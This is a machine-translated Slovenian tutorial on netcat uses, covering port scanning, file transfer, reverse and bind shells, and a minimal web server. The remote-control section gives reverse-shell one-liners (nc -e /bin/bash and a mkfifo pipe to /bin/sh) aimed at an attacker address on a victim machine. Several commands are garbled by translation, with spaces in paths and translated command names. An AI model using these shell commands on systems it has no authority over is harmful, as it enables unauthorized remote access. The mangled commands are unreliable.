NetCat

Netcat - uporaba švicarskega noža Pro

Netcat - uporaba švicarskega noža Pro
Netcat je pripomoček, ki se uporablja za branje in zapisovanje podatkov prek vrat TCP in UDP. Uporablja se lahko za veliko zanimivih stvari, kot so prenos datotek, skeniranje vrat, preusmeritev vrat, zaklenitev računalnika nekoga drugega, izdelava preprostega programa za klepet, odpravljanje težav z omrežjem in še več, zato je znan kot švicarski nož. Danes je vnaprej nameščen s skoraj vsako distribucijo Linuxa in ga za vsakodnevna majhna opravila uporabljajo predvsem skrbniki omrežij, DevOps in varnostni inženirji.

Kratka razlika med netcat-traditional in netcat-openbsd

Za Netcat sta na voljo dva podobna paketa z majhno razliko med njima.

netcat-tradicionalni vključuje dodatno možnost '-e', ki jo lahko uporabite za vezavo programa (tj.e bash) z netcat. Ta funkcija je zelo uporabna za oddaljeno upravljanje.

netcat-openbsd nekaj dodatne podpore za IPv6 in proxyje.

Namestitev Netcat

Čeprav je netcat vnaprej nameščen v večini distribucij Linuxa, če pa ne, ga je mogoče enostavno namestiti z naslednjimi ukazi.

Za tradicionalni paket,

[zaščiteno po e-pošti]: ~ $ sudo apt-get install netcat-traditional

Za različico openbsd,

[zaščitena po e-pošti]: ~ $ sudo apt-get install netcat-openbsd

Netcat za Windows lahko prenesete od tukaj https: // sourceforge.net / projects / nc110 / files /.

Zdaj bomo raziskali nekaj zanimivih primerov uporabe netcat

Optično branje vrat z netcatom

Če želite iskati odprta vrata, uporabite možnost '-z'. Netcat se bo poskušal povezati z vsemi vrati, ne da bi poslal podatke ali zelo omejene podatke v primeru UDP. Vnesite naslednje

[e-pošta zaščitena]: ~ $ nc -z -v hackme.org 80
... odreži ..
hackme.org [217.78.1.155] 80 (http) odprto

Če želite iskati vrsto vrat, vnesite

[e-pošta zaščitena]: ~ $ nc -z -nv 192.168.100.72 20-80
(NEPOZNATO) [192.168.100.72] 80 (http) odprto
(NEPOZNATO) [192.168.100.72] 22 (ssh) odprto

Prenos datotek z netcatom

Drug uporaben primer uporabe netcat je prenos datotek med oddaljenimi računalniki. Besedila in binarne datoteke lahko pošiljate iz enega računalnika v drugega. Poskusili bomo poslati datoteko »datoteka.pdf ”z osebnega računalnika Linux na osebni računalnik Windows [IP 192.168.100.72] z uporabo netcat kot primer.

V računalniku Windows (sprejemnik) vnesite naslednje

C: \ Uporabniki> nc -nvlp 1337> datoteka.pdf
Poslušanje na [0.0.0.0] (družina 2, pristanišče 1337)

V računalnik Linux (pošiljatelj) vnesite naslednje

[zaščiteno po e-pošti]: ~ $ nc -nv 192.168.100.72 1337 < file.pdf
Povezava na 192.168.100.72 Vrata [tcp / *] 1337 so uspela!

Oddaljeno upravljanje z netcatom

Eden izmed najboljših primerov uporabe netcat je oddaljeno upravljanje, kar pomeni, da lahko z netcatom upravljate računalnik nekoga drugega. Netcat-traditional prihaja z možnostjo '-e', ki jo lahko uporabite za vezavo programa (tj.e cmd.exe v operacijskem sistemu Windows ali bash v Linuxu) z vrati, kar pomeni, da bo netcat deloval kot komunikator med programom in oddaljenim računalnikom. Netcat bo prejemal ukaze iz oddaljenega računalnika, izvršil se bo v lokalnem sistemu in rezultate poslal nazaj v oddaljeni računalnik. Ta funkcija se pogosto uporablja za zlonamerne namene, da bi ohranila varnostno kopijo računalnikov in strežnikov. Ta funkcija je na voljo le v tradicionalni različici netcat, vendar z malo trika lahko za isti namen uporabimo tudi netcat-openbsd. Na dva načina lahko upravljate osebni računalnik.

V Povratna lupina povezave, napadalec posluša v pristanišču in čaka, da se povezava pošlje iz računalnika žrtve. Uporablja se, ko je računalnik žrtve za NAT ali nima javnega IP-ja.

Če želite dobiti povratno lupino z uporabo netcat, morate poslušati na vratih z uporabo netcat. Na napadalni stroj vnesite naslednje,

[e-pošta zaščitena]: ~ $ nc -nvlp 1337
Poslušanje na [0.0.0.0] (družina 2, pristanišče 1337)

Na žrtev stroju (če netcat-tradicionalni je nameščen)

// "/ bin / bash" nadomestimo s "cmd.exe «v primeru sistema Windows

[e-pošta zaščitena]: ~ $ nc -nv [IP_ADDR] 1337 -e / bin / bash

Za netcat-openbsd (kjer možnost “-e” ni podprta)

[e-pošta zaščitena]: ~ $ rm / tmp / f; mkfifo / tmp / f; kat
/ tmp / f | / bin / sh -i 2> & 1 | nc [IP_ADDR] 1337> / tmp / f

Medtem ko v Vezati lupino povezave, napadalec na vrata žrtve poveže vrata in se na ta vrata poveže z vtičnico odjemalca. Uporablja se, če je napadalčeva naprava za NAT ali nima javnega IP-ja.

Na računalniku z žrtev vnesite

[e-pošta zaščitena]: ~ $ nc -nlvp 1337 -e / bin / bash
poslušanje [katerega koli] 1337…

Zdaj za zagon ukazov na računalniku z žrtev vnesite

[e-pošta zaščitena]: ~ $ nc -nv 127.0.0.1 1337
Povezava do 127.0.0.1 vrata 1337 [tcp / *] so uspela!
$ id
uid = 1000 (azad) gid = 1000 (azad) skupine = 1000 (azad), 4 (adm), 24 (cdrom), 27 (sudo),
30 (dip), 46 (plugdev), 118 (lpadmin), 129 (sambashare)

Preprost spletni strežnik z uporabo netcat

Lahko pa naredite še en preprost trik, če želite netcat uporabiti kot minimalni spletni strežnik z eno stranjo. Ta spletni strežnik bi bil zelo preprost brez posebnih konfiguracij in z njim bomo brskalniku pošiljali našo kodo HTML.

[e-pošta zaščitena]: ~ $ while true; do echo -e "HTTP / 1.1 200 OK \ n \ n $ (odmev "


Moj preprost spletni strežnik, ki uporablja netcat

")" | nc-nvlp 1337; Končano
Poslušanje na [0.0.0.0] (družina 2, pristanišče 1337)

Zdaj poskusite spletno stran pridobiti s pomočjo curl

[zaščiteno po e-pošti]: ~ $ curl http: // 127.0.0.1: 1337 /

Moj preprost spletni strežnik, ki uporablja netcat

Določite časovno omejitev za netcat sejo

Časovno omejitev za sejo netcat lahko določite z možnostjo “-w”. Netcat bo samodejno prekinil svojo sejo po izteku določenega časa.

// -w [čas v sekundah]
[e-pošta zaščitena]: ~ $ nc -w 40 -nvlp 1337
Poslušanje na [0.0.0.0] (družina 2, vrata 1234)

Poslušajte še naprej, tudi če odjemalec prekine povezavo

V običajnem načinu se strežnik netcat izklopi in preneha poslušati vrata, ko odjemalec prekine povezavo. Strežnik lahko obdržite z uporabo možnosti -k

[e-pošta zaščitena]: ~ $ nc -k -nlvp 1234
Poslušanje na [0.0.0.0] (družina 2, vrata 1234)

Zaključek

Netcat je preprost, a učinkovit pripomoček, ki ga lahko uporabite za veliko preprostih dnevnih opravil. Na voljo je vnaprej nameščen v skoraj vseh operacijskih sistemih UNIX, na primer za komunikacijo med dvema osebnima računalnikoma, prenos datotek in še veliko več.

Kako razviti igro na Linuxu
Pred desetletjem le malo uporabnikov Linuxa napoveduje, da bo njihov najljubši operacijski sistem nekoč priljubljena igralna platforma za komercialne ...
Odprtokodna vrata komercialnih igralnih sistemov
Brezplačne, odprtokodne in medplatformacijske igre, ki jih lahko uporabite za igranje starih, pa tudi nekaterih dokaj nedavnih naslovov iger. V tem čl...
Najboljše igre ukazne vrstice za Linux
Ukazna vrstica ni le vaš največji zaveznik pri uporabi Linuxa - lahko je tudi vir zabave, saj jo lahko uporabljate za igranje številnih zabavnih iger,...